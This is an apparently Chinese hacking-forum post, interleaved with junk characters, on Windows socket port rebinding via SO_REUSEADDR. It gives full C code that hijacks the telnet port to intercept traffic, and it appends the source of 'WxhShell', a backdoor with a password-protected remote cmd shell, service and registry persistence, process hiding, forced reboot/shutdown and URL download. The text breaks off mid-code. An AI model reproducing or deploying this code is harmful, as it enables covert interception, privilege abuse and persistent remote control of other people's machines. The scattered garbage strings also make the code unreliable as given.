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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RaFk/mSw s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K#g)t/SZ h3.wR]ut saddr.sin_family = AF_INET;
pmAir: 5fS89?/? saddr.sin_addr.s_addr = htonl(INADDR_ANY); xUE 9%qO Ue|]M36 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]@bo; . jcF/5u5e 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wU.K+4-k 4NxtU/5-sU 这意味着什么?意味着可以进行如下的攻击: vkan+~H fSdv%$;Hc 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b'fj Y418k 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eRllF `* EAq/Yw2$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 LV{a^!f`y ?\:ysTVu 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 F9]j{'# GYot5iLg 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _Tyj4t0ElV 6o&{~SV3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FA\gz?h 9PEjV$0E2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 krm&.J Ow=` tv$l #include )K\w0sjR #include =
wNul" #include eHG**@"X #include a
1bu DWORD WINAPI ClientThread(LPVOID lpParam); J?$4Yf int main() O&]Y.Z9,A { 1tG,V%iCp WORD wVersionRequested; <#ujm fD DWORD ret; bh:;ovH WSADATA wsaData; r7sPFM BOOL val; Nzz" w_# SOCKADDR_IN saddr; ?lCKZm.,(- SOCKADDR_IN scaddr; (
3IM7 int err; D!TL~3d
1 SOCKET s; s]0x^"#B SOCKET sc; c]O3pcU int caddsize; 4O[T:9mn0 HANDLE mt; &O(z|-&| x DWORD tid; Gs2.}lz wVersionRequested = MAKEWORD( 2, 2 ); 0o[p<<c* err = WSAStartup( wVersionRequested, &wsaData ); cYdk,N if ( err != 0 ) { {U4BPKof printf("error!WSAStartup failed!\n"); oQ@X}6B%S return -1; q%#dx4z& } 3/o-\wWO saddr.sin_family = AF_INET; sj003jeko rixNz@p'% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nGGYKI 6gfv7V2H saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iNf+ -C3 saddr.sin_port = htons(23); J=W"FEXTL7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a;m-Vu! { &| el8;D printf("error!socket failed!\n"); `p9h$d return -1; d}%GHvOi } m6Q lIdl val = TRUE; yL&F!+(/Ix //SO_REUSEADDR选项就是可以实现端口重绑定的 ? e%Pvy<i if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZVE q{x1Zc { ]1rr$f9 printf("error!setsockopt failed!\n"); RUm1;MWs return -1; 9)s=%dL } MsCY5g //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 31k.{dnm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C/ow{MxA //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9f;\fe |"DQ^)3Pi if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q u2W { QNzI ret=GetLastError(); /og2+! printf("error!bind failed!\n"); l,HM m|oU return -1; azz6_qk8 } u\-xlp?"o listen(s,2); ( du<0J|PT while(1) D_`MeqF}C { tlu-zUsi caddsize = sizeof(scaddr); PoY+Y3 //接受连接请求 \MQ|( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Rer\=' if(sc!=INVALID_SOCKET) UyBI;k^]
{ W"YFx*W mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uG&xtN8 if(mt==NULL) 8a|p`)lT { s2riayM9/
printf("Thread Creat Failed!\n"); XKLkJZN break; #rqLuqw } E"&fT!yi } z'3 CloseHandle(mt); 2 Q,e1'= } M?x/C2| closesocket(s); |2AK~t|t WSACleanup(); j%Y`2Ra return 0; V9NE kS } &,2XrXiFu DWORD WINAPI ClientThread(LPVOID lpParam) 6<.Ma7)lA { i[H`u,%+( SOCKET ss = (SOCKET)lpParam; ] 7_ f'M1F SOCKET sc; "zJ1vIZY unsigned char buf[4096]; _/MHi-]/. SOCKADDR_IN saddr; 8-UlbO6 long num; PYPs64kNC] DWORD val; !]7Z),s DWORD ret; Vq2d+
,fb //如果是隐藏端口应用的话,可以在此处加一些判断 E(*RtOC<W //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 xq-R5(k
saddr.sin_family = AF_INET; fmY=SqQG- saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [>Z~&cm saddr.sin_port = htons(23); ,*%%BTnR if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~~,\BhG? { ir-srVoXy printf("error!socket failed!\n"); (S* T{OgO return -1; %fnL } qk{2%,u$@{ val = 100; |E&a3TQW if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3qE2mYK { eaCv8zdX ret = GetLastError(); 1|l'oTAA return -1; Y` Oz\W } TZT i:\nS if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i[sHPEml(5 { xCz(qR ret = GetLastError(); m!SxX&m"G return -1; v#{Sx>lO } e<6fe-g9; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <xOXuve { x
hBlv printf("error!socket connect failed!\n"); ,<0R'R closesocket(sc); XT>
u/Z ) closesocket(ss); d}j%.JJK return -1; v8W .84e- } ?%dsY\ while(1) #S)+eH { HWOs //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DKnjmZ:J| //如果是嗅探内容的话,可以再此处进行内容分析和记录 _TY9!:&}q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {DJ!T num = recv(ss,buf,4096,0); 3&:Us|} if(num>0) 4qXO8T#~J= send(sc,buf,num,0); $!%/Kk4M else if(num==0) o8;>E>; break; fT.18{'> num = recv(sc,buf,4096,0); pyYm<dn if(num>0) E58fY|9 send(ss,buf,num,0); dc.9:u*w else if(num==0) C?m2R(RF break; `w';}sQA7 } bYQvh/(J closesocket(ss); GcaLP*%>B closesocket(sc); 35;|r return 0 ; }7&.FV" } $_ IvzbOh 89o&KF] Fv$5Zcf ========================================================== &~)PB
| 4v9jGwnz t 下边附上一个代码,,WXhSHELL kk#%x#L[ Cl#PYB{1Y ========================================================== W6J%x[>Z nb
dm@ #include "stdafx.h" +A%|.; + 2v6fan #include <stdio.h> "`HkAW4GZa #include <string.h> ?_)b[-N! #include <windows.h> [Z9
lxZ| #include <winsock2.h> Tq{+9+ #include <winsvc.h> |`vwykhezO #include <urlmon.h> 7niZ`doBA >L[n4x\ #pragma comment (lib, "Ws2_32.lib") 3}R}|Ha
J# #pragma comment (lib, "urlmon.lib") V&)Jvx}^ v6=pV4k9 #define MAX_USER 100 // 最大客户端连接数 M|8vP53=q #define BUF_SOCK 200 // sock buffer 4FrP%|%E~ #define KEY_BUFF 255 // 输入 buffer 8 *o*?1. GPV=(}z #define REBOOT 0 // 重启 AB(WK9o #define SHUTDOWN 1 // 关机 =2v/f_ z7TMg^9# #define DEF_PORT 5000 // 监听端口 Io_bS+ 8'XAZSd( #define REG_LEN 16 // 注册表键长度 -wn,7; #define SVC_LEN 80 // NT服务名长度 ^f6pw! :jL>sGvBv // 从dll定义API "?9rJx$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;B*im
S10 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wT\JA4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'kBg3E$y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A1>fNilC9 wO<.wPa` // wxhshell配置信息 }@6Tcn1 struct WSCFG { ?
nx3#< int ws_port; // 监听端口 -)N,HAM> char ws_passstr[REG_LEN]; // 口令 FK;3atrz int ws_autoins; // 安装标记, 1=yes 0=no ,GOH8h char ws_regname[REG_LEN]; // 注册表键名 EPeKg{w char ws_svcname[REG_LEN]; // 服务名 ($QQuM= char ws_svcdisp[SVC_LEN]; // 服务显示名 RZMR2fP% char ws_svcdesc[SVC_LEN]; // 服务描述信息 Iu"7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y oDL/ int ws_downexe; // 下载执行标记, 1=yes 0=no g{ () char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" b5i ehoA char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EKu%I~eM [G!#y }; hp|.hN(kS] lV%oIf[OB // default Wxhshell configuration CcCcuxtR struct WSCFG wscfg={DEF_PORT, M'gGoH}B+q "xuhuanlingzhe", s#Ayl]8r 1, p"@[2hK "Wxhshell", /EP
RgRX "Wxhshell", *Aqd["q "WxhShell Service", L(RI4d "Wrsky Windows CmdShell Service", W kP`qD3 "Please Input Your Password: ", L2\<iJA}c 1, +H{TV#+r " http://www.wrsky.com/wxhshell.exe", TXL!5,
X_ "Wxhshell.exe" JjMa }; i}Q"'? G0%},Q/ // 消息定义模块 >U\1*F,Om, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]`eP"U{ char *msg_ws_prompt="\n\r? for help\n\r#>"; 33},lNS| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 0RZ[]:( char *msg_ws_ext="\n\rExit."; Oa.84a char *msg_ws_end="\n\rQuit."; VW`SqUl char *msg_ws_boot="\n\rReboot..."; = Ed0vw char *msg_ws_poff="\n\rShutdown..."; X 0vcBHh char *msg_ws_down="\n\rSave to "; g1kYL$ o4 %T6
sm char *msg_ws_err="\n\rErr!"; =\`iC6xP} char *msg_ws_ok="\n\rOK!"; aS! If > y5{Vx{V"Q char ExeFile[MAX_PATH]; LWdA3% int nUser = 0; -DuI
6K HANDLE handles[MAX_USER]; 'fjouO int OsIsNt; [s{ B vn
<N{wFvF SERVICE_STATUS serviceStatus; XCyU)[wY SERVICE_STATUS_HANDLE hServiceStatusHandle; vSnGPLl emSky-{$u // 函数声明 }]i.z:7+ int Install(void); @}\i`H1s int Uninstall(void); W1Vy5V|M int DownloadFile(char *sURL, SOCKET wsh); ;Zm-B]\ int Boot(int flag); h6b(FTC^ void HideProc(void); H)k V8wU int GetOsVer(void); QHXA?nBX int Wxhshell(SOCKET wsl); baoyU#X9 void TalkWithClient(void *cs); +)hxYLk&I int CmdShell(SOCKET sock); uf^HDrr<L int StartFromService(void); `r'$l<(4WV int StartWxhshell(LPSTR lpCmdLine); =`ZRPA!aY hmkm^2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,njlKkFw^Z VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9OYyR $b~[>S-Q // 数据结构和表定义 XL[Dmu& SERVICE_TABLE_ENTRY DispatchTable[] = %Q]3`kxp { ^H0#2hFa {wscfg.ws_svcname, NTServiceMain}, e9R H[: {NULL, NULL} 'NMO>[. }; c)3.AgT @<.ei)cqb // 自我安装 IeZ9 "o h int Install(void) A$M8w9 { OdbXna char svExeFile[MAX_PATH]; ff;~k?L HKEY key; P;`Awp? strcpy(svExeFile,ExeFile);
jF-:e;- &,P; 7 R // 如果是win9x系统,修改注册表设为自启动 a&2UDl% K if(!OsIsNt) { ..kFn!5(g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +MZI \> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D;&\) RegCloseKey(key); G^sx/H76J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xs{PAS0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _7z]zy@PC5 RegCloseKey(key); {O:{F? return 0; aGd
wuD } n2can } ;F|#m,2Q- } zO2=o5nF. else { %JHv2[r^P @j!(at4B // 如果是NT以上系统,安装为系统服务
4fIjVx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >8ryA$ if (schSCManager!=0) 'QQq0. { xG;;ykh.] SC_HANDLE schService = CreateService P!"{-m' ( Q*Y-@lZ schSCManager, :c|Om{; wscfg.ws_svcname, GM8Q#vc wscfg.ws_svcdisp, H|_@9V SERVICE_ALL_ACCESS, ?YMBZ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `Se2f0", SERVICE_AUTO_START, @ta:9wZ SERVICE_ERROR_NORMAL, :%z#s svExeFile, zYP6m3n NULL, }SC&6B?G NULL, 6J\ 2=c` NULL, }L(ZLt8Q NULL, Y0Tad?iC NULL a4.w2GR ); n"`V|
UTHP if (schService!=0) gD51N()s, { qw$9i.Z CloseServiceHandle(schService); pSb tm74 CloseServiceHandle(schSCManager); tfe]=_U strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c~4Cpy^ strcat(svExeFile,wscfg.ws_svcname); -b
iE if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cxQAp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nw\C+1F RegCloseKey(key); \gA<yz-;N return 0; D+v?zQw } Gh/nNwyu< } mI5J]hk CloseServiceHandle(schSCManager); 78{9@\e"0 } eM{u>n+`F0 } <T?-A}0uO 8HFCmY# return 1; ]E-3/r$_cO } Y<|JhqOXK _}Qtx/Cg // 自我卸载 &ocuZ-5` int Uninstall(void) [Q{\Ik { ZM})l9_o" HKEY key; JH{/0x#+ *1Bq>h: if(!OsIsNt) { |,@D< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -N% V5 TN RegDeleteValue(key,wscfg.ws_regname); "D8WdV( RegCloseKey(key); 0uIY6e0E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zE VJ RegDeleteValue(key,wscfg.ws_regname); NEQcEUd? RegCloseKey(key); n3{m
"h3 return 0; fM]McZ9)D } FAu G`zu } =+gp~RR, } NF=FbvNe else { /p')
u3 @]f"X> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .
FT*K[+ih if (schSCManager!=0) n<:/ X tE { #)%N+Odnr SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zOq~?>Ms6 if (schService!=0) )@Yp;=l { [|{yr if(DeleteService(schService)!=0) { ,eRl
Z3T CloseServiceHandle(schService); %+$P<Rw7 CloseServiceHandle(schSCManager); xmtbSRgK9 return 0; ' U(v } )61CrQiY CloseServiceHandle(schService);
~4Is } dJ`Fvj CloseServiceHandle(schSCManager); $4kc i@. } #&">x7?5 } $P]%Px!x HSx~Fs^J return 1; -5\aL"?4 } xiU-}H'o a<Pi J? // 从指定url下载文件 9#%(%s2+ int DownloadFile(char *sURL, SOCKET wsh) K G~](4JE( { O#A1)~ HRESULT hr; S6H=(l58 char seps[]= "/"; Xj$J}A@ char *token; tBG :ECUL char *file; eEJ8j_G char myURL[MAX_PATH]; 'O`jV0aa' char myFILE[MAX_PATH]; {549&]/o w0~iGr}P strcpy(myURL,sURL); k`js~/Xv token=strtok(myURL,seps); 0[D5]mcv while(token!=NULL) )T#;1qNB { NpD}7t<EF file=token; GT%V,OJ
token=strtok(NULL,seps); MvY0?!v
} uYL6g:]+ZC )F? 57eh GetCurrentDirectory(MAX_PATH,myFILE); P0Na<)\'Y! strcat(myFILE, "\\"); !N,Z3p>Q strcat(myFILE, file); 5 LX3. send(wsh,myFILE,strlen(myFILE),0); zx(j6 send(wsh,"...",3,0); Kggf!\MR8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1:7>Em<s if(hr==S_OK) XoSjYG(>, return 0; p"H8;fPA0 else r _xo>y~S return 1; fY=iQ?{/[ &X+V} } TFxb\ T9Vyj3!i_ // 系统电源模块 j`BFk> int Boot(int flag) Vu\|KL| { }(E6:h;}~ HANDLE hToken; V-=$:J"J'\ TOKEN_PRIVILEGES tkp; 5F2+o#*h <zZAVGb4I if(OsIsNt) { CX':nai OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tc:W=\ < LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,_rarU)[J tkp.PrivilegeCount = 1; =La}^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9 b]U&A$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eiEZtu if(flag==REBOOT) { F:pXdU-xf if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v/+ dx/ return 0; T|.Q81.NE } !u6~#.7 else { ?RpT_u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #C+Gk4"w return 0; A</[Q>8 } c;U\nC<Y } *~!xeL else { +ZRsa`'^ if(flag==REBOOT) { MP}H
5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pDkT_6Q return 0; %\~;I73 } )lw7W9 else { tEN]0` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mApn(& return 0; x(]s#D!) } ~;eWQwD } iLmU|jdE ,Qyz2-
w return 1; k 5 "3* } Ka_UVKwMro G)#
,39P // win9x进程隐藏模块 R1Pnj void HideProc(void) S_bay8L1 { nrt0[E-&~ m6;Xo}^w HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z}NAH`V`:+ if ( hKernel != NULL ) 'R,d?ikY { #eUfwd6.Y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G4x.''r&Sl ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z;>~<#!4 FreeLibrary(hKernel); J`RNik*> } 7Ck;LF}>0 =\XAD+ return; 'oT}jI } SAH\'v0 5)nv // 获取操作系统版本 }qKeX4\- int GetOsVer(void) >`{i[60r { {Y0I A97, OSVERSIONINFO winfo; 2#(7,o}Y5
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B8_l+dXO GetVersionEx(&winfo); w4x 8
Sre if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mKsj7 return 1; Ki=7nKs else q #p)E=$ return 0; 5z]dA~;*2 } 'nT#3/rL o[v`Am?v // 客户端句柄模块 .\d0lJSr int Wxhshell(SOCKET wsl) |iwTzlt*# { g$ 2M|Q SOCKET wsh; 1)YFEU&] struct sockaddr_in client; J:(Shd'4D
DWORD myID; 8^R>y ]Ea7b while(nUser<MAX_USER) JxLH]1b { M:I,j int nSize=sizeof(client); vlPE8U= wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J,D{dYLDD if(wsh==INVALID_SOCKET) return 1; ttsB'|ps 8uT6Q C f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .|aSGvE if(handles[nUser]==0) aDOH3Ri0K! closesocket(wsh); I"!gzI`Sd else OeAPBhTmFj nUser++; z9+94<J } D/:)rj14b WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }cPV_^{ {``}TsN return 0; Z~c7r n } ^=W&p%Y(! TdE_\gEo/R // 关闭 socket f.f4<_v'h void CloseIt(SOCKET wsh) 5o3_x ~e { L|Ydd!m closesocket(wsh); sN g"JQ nUser--; E1C8yIF ExitThread(0); >WDpBn: } gK<- *v h4qR\LX // 客户端请求句柄 gU~)(|Nu. void TalkWithClient(void *cs) up1aFzY|6x { c:6w >: ]OrFW4tiE SOCKET wsh=(SOCKET)cs; nB]Q^~jX char pwd[SVC_LEN]; Orb(xLChJ char cmd[KEY_BUFF]; kp6x6%{K\ char chr[1]; M[{Cy[ta int i,j; 7_3O]e[8 *Vc=]Z2G^ while (nUser < MAX_USER) { Kje+Niz7 -J30g\ if(wscfg.ws_passstr) { FGH>;H@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jzdc'3dq //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "n
e'iJf_( //ZeroMemory(pwd,KEY_BUFF); G6,8Xwk i=0; MYPcH\K$h while(i<SVC_LEN) { "pPNlV]UA^ w7D:0SGD // 设置超时 6,)y{/ENC fd_set FdRead; CIDL{i8 struct timeval TimeOut; 4eEs_R FD_ZERO(&FdRead); &\H5*A.HkA FD_SET(wsh,&FdRead); =z/F=1^< TimeOut.tv_sec=8; D1n2Z:9 TimeOut.tv_usec=0; 2|=_kN8; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kwL)&@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ih7Eq/iu ?c2TT
Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B1M/5cr. pwd =chr[0]; 9y4rw]4zI if(chr[0]==0xd || chr[0]==0xa) { gQEV;hCO pwd=0; Ueeay^zN break; x-pMT3m\D# } |gVO Iq i++; ^%d{i'9? } U %ESuq# cP1jw%3P // 如果是非法用户,关闭 socket k:TfE6JZ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SRTpE, } #{M
-3 5a
~tp' send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .+Ej%|l% send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -^b^ 6=# E5(Y*m! while(1) { \zi3.;9|; ^ ?=K) ZeroMemory(cmd,KEY_BUFF); (<l2 ^H v'!Ntk // 自动支持客户端 telnet标准 3+-(;>>\ j=0; Q]wM/7 while(j<KEY_BUFF) { wuzz%9;@B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _PM<25Y,@ cmd[j]=chr[0]; nnG2z@$- if(chr[0]==0xa || chr[0]==0xd) { ?6QJP|kE cmd[j]=0; 'oz={; break; YfPo"uxx } IR
LPUP j++; ;}~=W!yz } vb- .^l 0 MIMs# // 下载文件 gDub+^ye>/ if(strstr(cmd,"http://")) { -W_s]oBg send(wsh,msg_ws_down,strlen(msg_ws_down),0); .Y|\7%( if(DownloadFile(cmd,wsh)) V,+[XB send(wsh,msg_ws_err,strlen(msg_ws_err),0); xp&!Cl>C3\ else S=}~I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sZ"U=6R } [kOA+\v else { x+cF1N2. H/k W
:k switch(cmd[0]) { /6?plt&CA y!gM)9vq // 帮助 j7 =3\SO case '?': { LJwM M send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M0SH-0T;Z break; ;g:bn5G } :BX{*P // 安装 )$B+3f case 'i': { !Blk=L+p if(Install()) o#xg:m_py send(wsh,msg_ws_err,strlen(msg_ws_err),0); =
Y-Ne6a else ~n^G<iXLp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0f%:OU5Y break; ;_/q>DR>,3 } 8 %j{4$ // 卸载 C94@YWs case 'r': { nV3
7`
I if(Uninstall()) Tr0V6TS7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); &H&P)Px*_ else k|3(dXLG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o#P3lz break; yim$y,=d } ms7 7{A3 // 显示 wxhshell 所在路径 0 l:pWc case 'p': { 5\0.[W{^ char svExeFile[MAX_PATH]; +.]}f}Y strcpy(svExeFile,"\n\r"); IZ0$=aB7 strcat(svExeFile,ExeFile); bH/pa#G(
send(wsh,svExeFile,strlen(svExeFile),0); m"(d%N7 break; _P<lG[V } d?M!acB // 重启 (+LR u1z case 'b': { 2nU
NI
U send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $U1kP?pR if(Boot(REBOOT)) g!p_c send(wsh,msg_ws_err,strlen(msg_ws_err),0); i!W8Q$V else { ~}IvY?!; closesocket(wsh); ]KK ZbEO ExitThread(0); };m7FO } '?G[T28 break; LAY)">*49H } xbrmPGpW$ // 关机 >3`ctbe case 'd': { `Kc %S^C' send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W,/C?qFp if(Boot(SHUTDOWN)) $',GkK{NX send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2]NAs9aZ else { l?JO8^Nn closesocket(wsh); 4 ?@uF[ ExitThread(0); mrhp)yF } *[xNp[4EU break; J7?)$,ij% } "T a9
// 获取shell A-7wkZ.H case 's': { 2Ph7qEBQ22 CmdShell(wsh); HcBH!0 closesocket(wsh); e}R2J`7 ExitThread(0); 6PJJ?}P^1 break; RC8)f8n } eY4`k // 退出 }&(E#*>x case 'x': { D){"fw+b send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [t CloseIt(wsh); I^M#[xA break; cPx~|,)l } g8+4$2`ny // 离开 /+4^.Q* case 'q': { uq|vNLW26 send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?79SP p)oo closesocket(wsh); =MJ-s;raq WSACleanup(); y#Mc4? exit(1); ~"JE![XR break; 8g[(nxI~ } @jE d%W } r;cI}' } $_ix6z Q$?7) yyu+ // 提示信息 +H[}T ] if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;/?Z<[B } 3yHb!}F } NIGB[2V( l$k]O return; Ei{( } -uv
9(r\P BaWQ<T8p8 // shell模块句柄 0<]$v"`I int CmdShell(SOCKET sock) @4/~~ { 3 {NaZIk STARTUPINFO si; c$,c`H(~ ZeroMemory(&si,sizeof(si)); V17>j0Ev$W si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z'?7]C2b si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BKE\SWu PROCESS_INFORMATION ProcessInfo; --in+ char cmdline[]="cmd"; )myf)"l5 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C1X}3bB return 0; *F\T}k7 } 8%;}LK OLk9A // 自身启动模式 F^.om2V|9 int StartFromService(void) DAjG*K{ { H!u nIy| typedef struct zyaW3th { &u+yM
D DWORD ExitStatus; =dgo!k DWORD PebBaseAddress; u
